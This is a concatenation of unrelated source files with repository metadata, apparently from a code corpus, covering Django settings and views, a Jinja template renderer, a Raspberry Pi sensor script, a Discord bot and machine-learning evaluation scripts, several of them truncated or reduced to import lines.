key, value = p.split('=')
params[key] = _parse_varible_value(key, value)
# model-action
tokens = column.split('-')
name = tokens[0]
sub = None
# sub model, only support one level sub model
if '.' in name:
name, sub = name.split('.')
# found model by name
found = next((m for n, m in models.items() if n.lower() == name.lower()), None)
if found:
action = tokens[-1]
return {'model': found, 'sub': sub, 'action': action, 'params': params, **_generate_names(column)}
else:
return {'params': params, **_generate_names(column)}
def _recursive_render(t_base, o_base, name, context, env):
""" Copy folder or file from template folder to output folder, handle names having list/varible syntax.
Supported Syntax:
{{#blueprints}}
{{blueprint}}
{{#views}}
{{view}}
{{#seeds}}
{{seed}}
"""
t_path = os.path.join(t_base, name)
logger.debug(f'template {t_path}')
t_name = ''.join(name.split()) # Remove all the whitespace chars from name
out_names = []
out_key, out_values = None, []
#
# Check list syntax, i.e, {{#name}}
# This syntax iterate over every item of the list; do not generate anything if empty list and false value
#
match_list = re.search('(\\{\\{#[a-zA-Z._]+\\}\\})', t_name)
if match_list:
syntax = match_list.group(1) # => {{#views}}
key = syntax[3:-2] # => views
if key == 'blueprints':
out_key = '__blueprint'
out_values = context['blueprints']
out_names = [t_name.replace(syntax, v['name']) for v in out_values]
elif key == 'views':
out_key = '__view'
out_values = context['__blueprint']['views']
out_names = [t_name.replace(syntax, v['name']) for v in out_values]
elif key == 'seeds':
out_key = '__seed'
out_values = context['seeds']
out_names = [t_name.replace(syntax, v['name']) for v in out_values]
else:
raise TemplateError(f'Unsupported list syntax: {syntax}')
else:
#
# Check varible syntax, i.e, {{name}}
# This syntax return the value of the varible
#
match_variable = re.search('(\\{\\{[a-zA-Z._]+\\}\\})', t_name)
if match_variable:
syntax = match_list.group(1)
key = syntax[2:-2]
if key in ['blueprint', 'view', 'seed']:
out_key == f'__{key}'
out_values = [context[f'__{key}']]
out_names = [t_name.replace(syntax, v['name']) for v in out_values]
else:
out_names = [t_name]
else:
out_names = [t_name]
#
# Copy & Render
#
if os.path.isdir(t_path):
for i, o_name in enumerate(out_names):
o_path = os.path.join(o_base, o_name)
logger.debug(f'output {o_path}')
if not os.path.exists(o_path):
os.mkdir(o_path)
# Can use this in sub folders and files
if out_values:
context[out_key] = out_values[i]
# Copy the whole folder, use sorted() to make sure files starting with _ can be copied firtly
for d in sorted(os.listdir(t_path)):
_recursive_render(t_path, o_path, d, context, env)
# Remove the files startswith #, which has been used for rendering
for f in os.listdir(o_path):
fp = os.path.join(o_path, f)
if os.path.isfile(fp) and f.startswith('#'):
logger.debug(f'delete {f}')
os.remove(fp)
logger.debug(f'done {o_path}')
#
else:
for o_name in out_names:
o_path = os.path.join(o_base, o_name)
logger.debug(f'copy {o_name}')
shutil.copyfile(t_path, o_path)
shutil.copymode(t_path, o_path)
#
# Render file
# 1. Change working folder to ., so that jinja2 works ok
# 2. Files with name starts with # will be include for rendering, so NO need to render
# 3. Files with name ends with jinja2 will be render
#
o_base = os.path.abspath(o_base)
with work_in(o_base):
# Set jinja2's path
env.loader = FileSystemLoader('.')
o_context = {k: v for k, v in context.items() if not k.startswith('__')}
#
for i, o_name in enumerate(out_names):
if o_name.startswith('#') or not o_name.endswith('.jinja2'):
continue
#
o_file = o_name.replace('.jinja2', '')
logger.debug(f'render {o_file}')
# Remove __ so that object can be accessed in template
if out_values:
o_context[out_key[2:]] = out_values[i]
#
try:
tmpl = env.get_template(o_name)
except TemplateSyntaxError as exception:
exception.translated = False
raise
rendered = tmpl.render(**o_context)
#
with open(o_file, 'w', encoding='utf-8') as f:
f.write(rendered)
# Remove template file
os.remove(o_name)
def main(args: List[str]) -> bool:
""" Main. """
parser = argparse.ArgumentParser(prog="pyseed gen")
parser.add_argument(
"-m",
nargs='?',
metavar='models',
default='./models',
help="Specify the models folder, default value is ./models",
)
parser.add_argument(
"-s",
nargs='?',
metavar='seeds',
default='./seeds',
help="Specify the seeds folder, default value is ./seeds",
)
parser.add_argument(
"-o",
nargs='?',
metavar='output',
default='./grows',
help="Specify the generation output folder, default value is ./grows",
)
parser.add_argument(
"-t",
nargs='+',
metavar='templates',
help="Specify the templates",
)
parsed_args = parser.parse_args(args)
return _gen(parsed_args.m, parsed_args.s, parsed_args.o, parsed_args.t)
| 37.321429 | 112 | 0.536124 |
366e02860b9652ab88acf006189e3756c87e9843 | 575 | py | Python | logger/hum_test3.py | scsibug/Raspberry-Pi-Sensor-Node | 606cf2a15a72ac1503c7318a39c9f3cc523a9c4a | [
"Unlicense"
] | 1 | 2015-12-23T04:27:16.000Z | 2015-12-23T04:27:16.000Z | logger/hum_test3.py | scsibug/Raspberry-Pi-Sensor-Node | 606cf2a15a72ac1503c7318a39c9f3cc523a9c4a | [
"Unlicense"
] | null | null | null | logger/hum_test3.py | scsibug/Raspberry-Pi-Sensor-Node | 606cf2a15a72ac1503c7318a39c9f3cc523a9c4a | [
"Unlicense"
] | null | null | null | # this example came from http://www.raspberrypi.org/phpBB3/viewtopic.php?f=32&t=29454&sid=4543fbd8f48478644e608d741309c12b&start=25
import smbus
import time
b = smbus.SMBus(1)
d = []
addr = 0x27
b.write_quick(addr)
time.sleep(0.05)
d = b.read_i2c_block_data(addr, 0,4)
status = (d[0] & 0xc0) >> 6
humidity = (((d[0] & 0x3f) << 8) + d[1])*100/16383
tempC = ((d[2] << 6) + ((d[3] & 0xfc) >> 2))*165/16383 - 40
tempF = tempC*9/5 + 32
print "Data: ", "%02x "*len(d)%tuple(d)
print "Status: ", status
print "Humidity: ", humidity, "%"
print "Temperature:", tempF, "F"
| 31.944444 | 131 | 0.634783 |
366e485c9bc0322e636a5736840956b42775c986 | 4,493 | py | Python | vendor/python-pika/tests/frame_tests.py | suthat/signal | 9730f7ee1a3b00a65eb4d9a2cce4f3a5eee33451 | [
"Apache-2.0"
] | 1 | 2018-09-02T22:28:56.000Z | 2018-09-02T22:28:56.000Z | vendor/python-pika/tests/frame_tests.py | suthat/signal | 9730f7ee1a3b00a65eb4d9a2cce4f3a5eee33451 | [
"Apache-2.0"
] | null | null | null | vendor/python-pika/tests/frame_tests.py | suthat/signal | 9730f7ee1a3b00a65eb4d9a2cce4f3a5eee33451 | [
"Apache-2.0"
] | null | null | null | """
Tests for pika.frame
"""
try:
import unittest2 as unittest
except ImportError:
import unittest
from pika import exceptions
from pika import frame
from pika import spec
| 38.401709 | 79 | 0.672157 |
366eb4dab94bf0dd50fb14aff2db308e9c7cde9d | 15,266 | py | Python | apps/users/views.py | RympeR/HypeFans | 28c3712af47fec4df2fe3df43c6e0ad26302bcbc | [
"MIT"
] | null | null | null | apps/users/views.py | RympeR/HypeFans | 28c3712af47fec4df2fe3df43c6e0ad26302bcbc | [
"MIT"
] | null | null | null | apps/users/views.py | RympeR/HypeFans | 28c3712af47fec4df2fe3df43c6e0ad26302bcbc | [
"MIT"
] | 2 | 2021-05-20T10:43:17.000Z | 2021-06-09T08:12:24.000Z | import logging
from datetime import datetime, timedelta
import requests
from core.utils.customClasses import UserFilter
from core.utils.default_responses import (api_accepted_202,
api_bad_request_400,
api_block_by_policy_451,
api_created_201,
api_payment_required_402)
from core.utils.func import REF_PERCANTAGE, create_ref_link
from django.contrib.auth import authenticate
from django.shortcuts import get_object_or_404
from rest_framework import generics, permissions
from rest_framework.authtoken.models import Token
from rest_framework.generics import GenericAPIView
from rest_framework.mixins import UpdateModelMixin
from rest_framework.response import Response
from rest_framework.views import APIView
from apps.blog.models import PostAction, PostBought
from apps.blog.serializers import PostGetShortSerializers
from .models import *
from .serializers import *
| 32.971922 | 102 | 0.631796 |
366eba2a1a7b41a03aed067b028dd47e05783a38 | 7,102 | py | Python | powerline/commands/main.py | OSunday/powerline | f6bf7b4916dc377a5ffe13caff171fbaa3ab02f6 | [
"MIT"
] | 15 | 2017-10-02T06:09:07.000Z | 2020-01-17T07:53:58.000Z | powerline/commands/main.py | OSunday/powerline | f6bf7b4916dc377a5ffe13caff171fbaa3ab02f6 | [
"MIT"
] | null | null | null | powerline/commands/main.py | OSunday/powerline | f6bf7b4916dc377a5ffe13caff171fbaa3ab02f6 | [
"MIT"
] | 6 | 2017-10-03T15:48:12.000Z | 2021-08-28T18:07:29.000Z | # vim:fileencoding=utf-8:noet
# WARNING: using unicode_literals causes errors in argparse
from __future__ import (division, absolute_import, print_function)
import argparse
import sys
from itertools import chain
from powerline.lib.overrides import parsedotval, parse_override_var
from powerline.lib.dict import mergeargs
from powerline.lib.encoding import get_preferred_arguments_encoding
from powerline.lib.unicode import u, unicode
from powerline.bindings.wm import wm_threads
if sys.version_info < (3,):
encoding = get_preferred_arguments_encoding()
else:
def finish_args(parser, environ, args, is_daemon=False):
'''Do some final transformations
Transforms ``*_override`` arguments into dictionaries, adding overrides from
environment variables. Transforms ``renderer_arg`` argument into dictionary
as well, but only if it is true.
:param dict environ:
Environment from which additional overrides should be taken from.
:param args:
Arguments object returned by
:py:meth:`argparse.ArgumentParser.parse_args`. Will be modified
in-place.
:return: Object received as second (``args``) argument.
'''
args.config_override = mergeargs(chain(
parse_override_var(environ.get('POWERLINE_CONFIG_OVERRIDES', '')),
(parsedotval(v) for v in args.config_override or ()),
))
args.theme_override = mergeargs(chain(
parse_override_var(environ.get('POWERLINE_THEME_OVERRIDES', '')),
(parsedotval(v) for v in args.theme_override or ()),
))
if args.renderer_arg:
args.renderer_arg = mergeargs((parsedotval(v) for v in args.renderer_arg), remove=True)
if 'pane_id' in args.renderer_arg:
if isinstance(args.renderer_arg['pane_id'], (bytes, unicode)):
try:
args.renderer_arg['pane_id'] = int(args.renderer_arg['pane_id'].lstrip(' %'))
except ValueError:
pass
if 'client_id' not in args.renderer_arg:
args.renderer_arg['client_id'] = args.renderer_arg['pane_id']
args.config_path = (
[path for path in environ.get('POWERLINE_CONFIG_PATHS', '').split(':') if path]
+ (args.config_path or [])
)
if args.ext[0].startswith('wm.'):
if not is_daemon:
parser.error('WM bindings must be used with daemon only')
elif args.ext[0][3:] not in wm_threads:
parser.error('WM binding not found')
elif not args.side:
parser.error('expected one argument')
return args
| 37.183246 | 89 | 0.696987 |
366f7150d8d059f7a7975d57fa08b372b8cccd5e | 2,126 | py | Python | hunter/mlops/experiments/experiment.py | akamlani/hunter-core | 98b08b69fc460eb4cb75e67a36f86e80e03029bd | [
"MIT"
] | null | null | null | hunter/mlops/experiments/experiment.py | akamlani/hunter-core | 98b08b69fc460eb4cb75e67a36f86e80e03029bd | [
"MIT"
] | null | null | null | hunter/mlops/experiments/experiment.py | akamlani/hunter-core | 98b08b69fc460eb4cb75e67a36f86e80e03029bd | [
"MIT"
] | null | null | null | import numpy as np
import os
import time
import shutil
import logging
logger = logging.getLogger(__name__)
| 27.973684 | 122 | 0.62841 |
36708e40843ebac43aa8a9c519fbf7f8e02640d2 | 1,895 | py | Python | blousebrothers/confs/migrations/0044_subscriptions_bonus.py | sladinji/blousebrothers | 461de3ba011c0aaed3f0014136c4497b6890d086 | [
"MIT"
] | 1 | 2022-01-27T11:58:10.000Z | 2022-01-27T11:58:10.000Z | blousebrothers/confs/migrations/0044_subscriptions_bonus.py | sladinji/blousebrothers | 461de3ba011c0aaed3f0014136c4497b6890d086 | [
"MIT"
] | 5 | 2021-03-19T00:01:54.000Z | 2022-03-11T23:46:21.000Z | blousebrothers/confs/migrations/0044_subscriptions_bonus.py | sladinji/blousebrothers | 461de3ba011c0aaed3f0014136c4497b6890d086 | [
"MIT"
] | null | null | null |
from django.db import migrations
from decimal import Decimal
from dateutil.relativedelta import relativedelta
from datetime import date
| 32.118644 | 93 | 0.705013 |
367177f87916e9f31a627747b9f2f2e7f5f23e29 | 1,771 | py | Python | NLP-Model/GraphGenerator.py | AdityaPrasadMishra/NLP--Project-Group-16 | fb62cc6a1db4a494058171f11c14a2be3933a9a1 | [
"MIT"
] | null | null | null | NLP-Model/GraphGenerator.py | AdityaPrasadMishra/NLP--Project-Group-16 | fb62cc6a1db4a494058171f11c14a2be3933a9a1 | [
"MIT"
] | null | null | null | NLP-Model/GraphGenerator.py | AdityaPrasadMishra/NLP--Project-Group-16 | fb62cc6a1db4a494058171f11c14a2be3933a9a1 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Tue Apr 24 22:03:42 2018
@author: aditya
"""
import codecs
import numpy as np
import matplotlib.pyplot as plt
import tensorflow as tf
import re
import time
import random
training_errors= [2.880890389084816, 2.589109110832214, 2.529299919307232, 2.4656221523880957, 2.403166337311268, 2.4464233142137526, 2.375447287261486, 2.3676583436131478, 2.3073809832334518, 2.359292232692242, 2.3350265485048296, 2.2823567962646485, 2.2687944075465203, 2.2951272314786912, 2.282493242323399, 2.2626508274674415, 2.258985004425049, 2.2431524062156676, 2.226141297519207, 2.2092211750149726, 2.215476005077362, 2.209359174370766, 2.1948138630390166, 2.193422330915928, 2.1807888588309288]
validation_errors=[2.435073028564453, 2.3433548278808596, 2.315739807128906, 2.2985709838867185, 2.2562687683105467, 2.2732557678222656, 2.2361006469726563, 2.222836364746094, 2.2145645141601564, 2.2109912719726563, 2.20832763671875, 2.1882525634765626, 2.1855752868652343, 2.183926452636719, 2.180730743408203, 2.1761441955566405, 2.1777948303222656, 2.1717729797363283, 2.1632617797851563, 2.161899658203125, 2.16302978515625, 2.155210754394531, 2.147050506591797, 2.1581705627441408, 2.1517400207519533]
epochnum=[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25]
fig1 = plt.figure()
axes1 = fig1.add_axes([0.1,0.1,0.8,0.8])
axes1.plot(epochnum,training_errors,'r')
axes1.set_xlabel('Train Epochs')
axes1.set_ylabel('Training Error')
fig1.savefig('trainAccuracy.png')
fig2 = plt.figure()
axes2 = fig2.add_axes([0.1,0.1,0.8,0.8])
axes2.plot(epochnum,validation_errors,'b')
axes2.set_xlabel('Train Epochs')
axes2.set_ylabel('Validation Error')
fig2.savefig('valAccuracy.png')
plt.plot()
| 52.088235 | 506 | 0.784303 |
36720adea01a0055ba50050d6d0540ddb952c604 | 2,926 | py | Python | nc/tests/test_views.py | OpenDataPolicingNC/Traffic-Stops | 74e0d16ad2ac32addca6f04d34c2ddf36d023990 | [
"MIT"
] | 25 | 2015-09-12T23:10:52.000Z | 2021-03-24T08:39:46.000Z | nc/tests/test_views.py | OpenDataPolicingNC/Traffic-Stops | 74e0d16ad2ac32addca6f04d34c2ddf36d023990 | [
"MIT"
] | 159 | 2015-07-01T03:57:23.000Z | 2021-04-17T21:09:19.000Z | nc/tests/test_views.py | copelco/NC-Traffic-Stops | 74e0d16ad2ac32addca6f04d34c2ddf36d023990 | [
"MIT"
] | 8 | 2015-10-02T16:56:40.000Z | 2020-10-18T01:16:29.000Z | from django.core.urlresolvers import reverse
from django.test import TestCase
from nc.tests import factories
| 39.013333 | 81 | 0.66473 |
367317abfaeafe103c587d9d91dc6360e2f8aec5 | 24,706 | py | Python | hitbloq_bot.py | PulseLane/hitbloq | 94ea0563e6c2e34c0ff63b99cda8c6ff064e0910 | [
"MIT"
] | null | null | null | hitbloq_bot.py | PulseLane/hitbloq | 94ea0563e6c2e34c0ff63b99cda8c6ff064e0910 | [
"MIT"
] | null | null | null | hitbloq_bot.py | PulseLane/hitbloq | 94ea0563e6c2e34c0ff63b99cda8c6ff064e0910 | [
"MIT"
] | null | null | null | import asyncio
import json
import time
import sys
import discord
from discord.utils import get
import create_action
from db import database
import beatsaver
from cr_formulas import curves
from general import full_clean
beatsaver_interface = beatsaver.BeatSaverInterface()
token = read_f('data/token.txt')
guild_id = 'Hitbloq'
client = discord.Client()
GENERAL_COMMANDS_CHANNEL = 'general-commands'
ADMIN_COMMANDS_CHANNEL = 'admin-commands'
POOL_ADMIN_COMMANDS_CHANNEL = 'pool-admin-commands'
PATRON_COMMANDS_CHANNEL = 'patron-commands'
channels = []
client.run(token)
| 63.348718 | 313 | 0.551769 |
3673734968412c54bc6045e1a17de68b5afe3f70 | 1,885 | py | Python | GUI/preprocessing.py | muhammadtarek98/Graduation-project | 48f8df3b38c17f99787c8ffbe8f2bdcac166fce2 | [
"MIT"
] | null | null | null | GUI/preprocessing.py | muhammadtarek98/Graduation-project | 48f8df3b38c17f99787c8ffbe8f2bdcac166fce2 | [
"MIT"
] | null | null | null | GUI/preprocessing.py | muhammadtarek98/Graduation-project | 48f8df3b38c17f99787c8ffbe8f2bdcac166fce2 | [
"MIT"
] | null | null | null | import numpy as np
import cv2 as cv
import os
from PIL import Image
| 37.7 | 83 | 0.606897 |
36740a39b572e9f7d2dc74c2436385fe4043acca | 3,022 | py | Python | examples/generate_og_predictions.py | dennlinger/sentence-transformers | 67e82af977fbb198142ede7fbe941b74f8ce6c89 | [
"Apache-2.0"
] | 5 | 2020-12-25T07:22:54.000Z | 2022-02-15T16:35:19.000Z | examples/generate_og_predictions.py | dennlinger/sentence-transformers | 67e82af977fbb198142ede7fbe941b74f8ce6c89 | [
"Apache-2.0"
] | null | null | null | examples/generate_og_predictions.py | dennlinger/sentence-transformers | 67e82af977fbb198142ede7fbe941b74f8ce6c89 | [
"Apache-2.0"
] | 2 | 2021-04-04T17:50:25.000Z | 2021-11-18T01:17:21.000Z | """
The system RoBERTa trains on the AGB dataset with softmax loss function.
At every 1000 training steps, the model is evaluated on the AGB dev set.
"""
from torch.utils.data import DataLoader
from sentence_transformers import models, losses
from sentence_transformers import SentencesDataset, LoggingHandler, SentenceTransformer
from sentence_transformers.evaluation import EmbeddingSimilarityEvaluator, LabelGenerationEvaluator
from sentence_transformers.readers import *
import logging
import torch
import os
#### Just some code to print debug information to stdout
logging.basicConfig(format='%(asctime)s - %(message)s',
datefmt='%Y-%m-%d %H:%M:%S',
level=logging.INFO,
handlers=[LoggingHandler()])
#### /print debug information to stdout
# # Read the dataset
root_dir = "/data/salmasian/sentence_transformers"
for i in range(1, 6):
run_dir = os.path.join(root_dir, f"run{i}")
for model_dir in sorted(os.listdir(run_dir)):
curr_dir = os.path.join(run_dir, model_dir)
# skip non-consecutive models
if f"og_{i}" not in curr_dir:
continue
print(f"Working on model {model_dir}")
# Delete when we re-evaluate...
labels_file = os.path.join(curr_dir, "prediction_labels.csv")
pred_file = os.path.join(curr_dir, "prediction_results.csv")
if os.path.isfile(labels_file):
os.remove(os.path.join(curr_dir, "prediction_labels.csv"))
if os.path.isfile(pred_file):
os.remove(os.path.join(curr_dir, "prediction_results.csv"))
# Model path
model_save_path = curr_dir
batch_size = 24
agb_reader = TestAGBReader('datasets/og-test')
train_num_labels = agb_reader.get_num_labels()
model = SentenceTransformer(model_save_path, device="cuda:0")
train_loss = losses.SoftmaxLoss(model=model,
sentence_embedding_dimension=model.get_sentence_embedding_dimension(),
num_labels=train_num_labels)
train_loss.classifier = torch.load(os.path.join(model_save_path, "2_Softmax/pytorch_model.bin"))
print("test")
test_dir = "/data/daumiller/sentence-transformers/examples/datasets/og-test"
for fn in sorted(os.listdir(test_dir)):
examples = agb_reader.get_examples(fn)
if not examples:
continue
# Hack to avoid problems with docs almost as long as batch size
if len(examples) == batch_size + 1:
batch_size_used = batch_size - 3
else:
batch_size_used = batch_size
test_data = SentencesDataset(examples=examples, model=model, shorten=True)
test_dataloader = DataLoader(test_data, shuffle=False, batch_size=batch_size_used)
evaluator = LabelGenerationEvaluator(test_dataloader, softmax_model=train_loss)
model.evaluate(evaluator, model_save_path)
| 45.104478 | 110 | 0.666115 |
3674bf513c78cb14c7a7197f8717bd835994b08c | 9,730 | py | Python | config/settings/defaults.py | lucaluca/palimpsest | 64565d1b188d68bc978253a21a98440b769e26ee | [
"BSD-3-Clause"
] | null | null | null | config/settings/defaults.py | lucaluca/palimpsest | 64565d1b188d68bc978253a21a98440b769e26ee | [
"BSD-3-Clause"
] | null | null | null | config/settings/defaults.py | lucaluca/palimpsest | 64565d1b188d68bc978253a21a98440b769e26ee | [
"BSD-3-Clause"
] | null | null | null | """
Base settings to build other settings files upon.
"""
import environ
ROOT_DIR = environ.Path(__file__) - 3 # (palimpsest/config/settings/base.py - 3 = palimpsest/)
APPS_DIR = ROOT_DIR.path('palimpsest')
env = environ.Env()
READ_DOT_ENV_FILE = env.bool('DJANGO_READ_DOT_ENV_FILE', default=False)
if READ_DOT_ENV_FILE:
# OS environment variables take precedence over variables from .env
env.read_env(str(ROOT_DIR.path('.env')))
# GENERAL
# ------------------------------------------------------------------------------
DEBUG = env.bool('DJANGO_DEBUG', False)
TIME_ZONE = 'CST'
LANGUAGE_CODE = 'en-us'
SITE_ID = 1
USE_I18N = False
USE_L10N = True
USE_TZ = True
# DATABASES
# ------------------------------------------------------------------------------
# SQLite by default
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(APPS_DIR, 'db.sqlite3'),
}
}
# URLS
# ------------------------------------------------------------------------------
# https://docs.djangoproject.com/en/dev/ref/settings/#root-urlconf
ROOT_URLCONF = 'config.urls'
WSGI_APPLICATION = 'config.wsgi.application'
# APPS
# ------------------------------------------------------------------------------
DJANGO_APPS = [
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.sites',
'django.contrib.messages',
'django.contrib.staticfiles',
'django.contrib.humanize',
'django.contrib.admin',
]
THIRD_PARTY_APPS = [
'crispy_forms',
'allauth',
'allauth.account',
'allauth.socialaccount',
'rest_framework',
]
LOCAL_APPS = [
'users',
]
INSTALLED_APPS = DJANGO_APPS + THIRD_PARTY_APPS + LOCAL_APPS
# MIGRATIONS
# ------------------------------------------------------------------------------
# https://docs.djangoproject.com/en/dev/ref/settings/#migration-modules
MIGRATION_MODULES = {
'sites': 'palimpsest.contrib.sites.migrations'
}
# AUTHENTICATION
# ------------------------------------------------------------------------------
# https://docs.djangoproject.com/en/dev/ref/settings/#authentication-backends
AUTHENTICATION_BACKENDS = [
'django.contrib.auth.backends.ModelBackend',
'allauth.account.auth_backends.AuthenticationBackend',
]
AUTH_USER_MODEL = 'users.User'
LOGIN_REDIRECT_URL = 'users:redirect'
LOGIN_URL = 'account_login'
# PASSWORDS
# ------------------------------------------------------------------------------
# https://docs.djangoproject.com/en/dev/ref/settings/#password-hashers
PASSWORD_HASHERS = [
# https://docs.djangoproject.com/en/dev/topics/auth/passwords/#using-argon2-with-django
'django.contrib.auth.hashers.Argon2PasswordHasher',
'django.contrib.auth.hashers.PBKDF2PasswordHasher',
'django.contrib.auth.hashers.PBKDF2SHA1PasswordHasher',
'django.contrib.auth.hashers.BCryptSHA256PasswordHasher',
'django.contrib.auth.hashers.BCryptPasswordHasher',
]
# https://docs.djangoproject.com/en/dev/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{ 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', },
{ 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', },
{ 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', },
{ 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', },
]
# MIDDLEWARE
# ------------------------------------------------------------------------------
# https://docs.djangoproject.com/en/dev/ref/settings/#middleware
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
# STATIC
# ------------------------------------------------------------------------------
# https://docs.djangoproject.com/en/dev/ref/settings/#static-root
STATIC_ROOT = str(ROOT_DIR('staticfiles'))
# https://docs.djangoproject.com/en/dev/ref/settings/#static-url
STATIC_URL = '/static/'
# https://docs.djangoproject.com/en/dev/ref/contrib/staticfiles/#std:setting-STATICFILES_DIRS
STATICFILES_DIRS = [
str(APPS_DIR.path('static')),
]
# https://docs.djangoproject.com/en/dev/ref/contrib/staticfiles/#staticfiles-finders
STATICFILES_FINDERS = [
'django.contrib.staticfiles.finders.FileSystemFinder',
'django.contrib.staticfiles.finders.AppDirectoriesFinder',
]
# MEDIA
# ------------------------------------------------------------------------------
# https://docs.djangoproject.com/en/dev/ref/settings/#media-root
MEDIA_ROOT = str(APPS_DIR('media'))
# https://docs.djangoproject.com/en/dev/ref/settings/#media-url
MEDIA_URL = '/media/'
# TEMPLATES
# ------------------------------------------------------------------------------
# https://docs.djangoproject.com/en/dev/ref/settings/#templates
TEMPLATES = [
{
# https://docs.djangoproject.com/en/dev/ref/settings/#std:setting-TEMPLATES-BACKEND
'BACKEND': 'django.template.backends.django.DjangoTemplates',
# https://docs.djangoproject.com/en/dev/ref/settings/#template-dirs
'DIRS': [
str(APPS_DIR.path('templates')),
],
'OPTIONS': {
# https://docs.djangoproject.com/en/dev/ref/settings/#template-debug
'debug': DEBUG,
# https://docs.djangoproject.com/en/dev/ref/settings/#template-loaders
# https://docs.djangoproject.com/en/dev/ref/templates/api/#loader-types
'loaders': [
'django.template.loaders.filesystem.Loader',
'django.template.loaders.app_directories.Loader',
],
# https://docs.djangoproject.com/en/dev/ref/settings/#template-context-processors
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.template.context_processors.i18n',
'django.template.context_processors.media',
'django.template.context_processors.static',
'django.template.context_processors.tz',
'django.contrib.messages.context_processors.messages',
],
},
},
]
# http://django-crispy-forms.readthedocs.io/en/latest/install.html#template-packs
CRISPY_TEMPLATE_PACK = 'bootstrap4'
# FIXTURES
# ------------------------------------------------------------------------------
# https://docs.djangoproject.com/en/dev/ref/settings/#fixture-dirs
FIXTURE_DIRS = (
str(APPS_DIR.path('fixtures')),
)
# EMAIL
# ------------------------------------------------------------------------------
# https://docs.djangoproject.com/en/dev/ref/settings/#email-backend
EMAIL_BACKEND = env('DJANGO_EMAIL_BACKEND', default='django.core.mail.backends.smtp.EmailBackend')
# ADMIN
# ------------------------------------------------------------------------------
# Django Admin URL.
ADMIN_URL = env('DJANGO_ADMIN_URL', default='admin/')
# https://docs.djangoproject.com/en/dev/ref/settings/#admins
ADMINS = [
("""Jonathan Giuffrida""", 'me@jcgiuffrida.com'),
]
# https://docs.djangoproject.com/en/dev/ref/settings/#managers
MANAGERS = ADMINS
# Celery
# ------------------------------------------------------------------------------
INSTALLED_APPS += ['palimpsest.taskapp.celery.CeleryAppConfig']
if USE_TZ:
# http://docs.celeryproject.org/en/latest/userguide/configuration.html#std:setting-timezone
CELERY_TIMEZONE = TIME_ZONE
# http://docs.celeryproject.org/en/latest/userguide/configuration.html#std:setting-broker_url
CELERY_BROKER_URL = env('CELERY_BROKER_URL')
# http://docs.celeryproject.org/en/latest/userguide/configuration.html#std:setting-result_backend
CELERY_RESULT_BACKEND = CELERY_BROKER_URL
# http://docs.celeryproject.org/en/latest/userguide/configuration.html#std:setting-accept_content
CELERY_ACCEPT_CONTENT = ['json']
# http://docs.celeryproject.org/en/latest/userguide/configuration.html#std:setting-task_serializer
CELERY_TASK_SERIALIZER = 'json'
# http://docs.celeryproject.org/en/latest/userguide/configuration.html#std:setting-result_serializer
CELERY_RESULT_SERIALIZER = 'json'
# http://docs.celeryproject.org/en/latest/userguide/configuration.html#task-time-limit
# TODO: set to whatever value is adequate in your circumstances
CELERYD_TASK_TIME_LIMIT = 5 * 60
# http://docs.celeryproject.org/en/latest/userguide/configuration.html#task-soft-time-limit
# TODO: set to whatever value is adequate in your circumstances
CELERYD_TASK_SOFT_TIME_LIMIT = 60
# DJANGO-ALLAUTH
# https://django-allauth.readthedocs.io/en/latest/configuration.html
# ------------------------------------------------------------------------------
ACCOUNT_ALLOW_REGISTRATION = env.bool('DJANGO_ACCOUNT_ALLOW_REGISTRATION', True)
ACCOUNT_AUTHENTICATION_METHOD = 'username'
ACCOUNT_EMAIL_REQUIRED = True
ACCOUNT_EMAIL_VERIFICATION = 'mandatory'
ACCOUNT_ADAPTER = 'palimpsest.users.adapters.AccountAdapter'
SOCIALACCOUNT_ADAPTER = 'palimpsest.users.adapters.SocialAccountAdapter'
# django-compressor
# ------------------------------------------------------------------------------
# https://django-compressor.readthedocs.io/en/latest/quickstart/#installation
INSTALLED_APPS += ['compressor']
STATICFILES_FINDERS += ['compressor.finders.CompressorFinder']
# Your stuff...
# ------------------------------------------------------------------------------
| 40.041152 | 100 | 0.626619 |
3674e5cf5b0c10311bddd2c6d6dd783cd12f6998 | 5,992 | py | Python | cognipy/edit.py | jswiatkowski/cognipy | 44a6e32a44253d4965e03a9021a69134c033d041 | [
"Apache-2.0"
] | 34 | 2020-10-31T23:55:43.000Z | 2022-02-09T12:46:46.000Z | cognipy/edit.py | jswiatkowski/cognipy | 44a6e32a44253d4965e03a9021a69134c033d041 | [
"Apache-2.0"
] | 38 | 2020-10-31T11:16:01.000Z | 2022-02-01T12:08:11.000Z | cognipy/edit.py | jswiatkowski/cognipy | 44a6e32a44253d4965e03a9021a69134c033d041 | [
"Apache-2.0"
] | 9 | 2021-03-22T18:42:11.000Z | 2022-03-17T18:35:06.000Z | import ipywidgets as widgets
from traitlets import Unicode, Int, validate
import os
import json
from datetime import datetime,timedelta
from IPython.display import Javascript
from IPython.display import HTML
from cognipy.ontology import Ontology
from IPython.display import clear_output
_JS_initialized = False
def escape(html):
"""Returns the given HTML with ampersands, quotes and carets encoded."""
return html.replace('&', '&').replace('<', '<').replace('>', '>').replace('"', '"').replace("'", ''')
from functools import reduce
| 32.923077 | 124 | 0.537049 |
3674f6fa0841c2939ec3314e0546dac6ce11be16 | 1,717 | py | Python | params_tuning/ls_iter_n/out_comparator.py | bleakTwig/ophs_grasp | 3e3986154d096a476805269cb818f8c8709a7bda | [
"MIT"
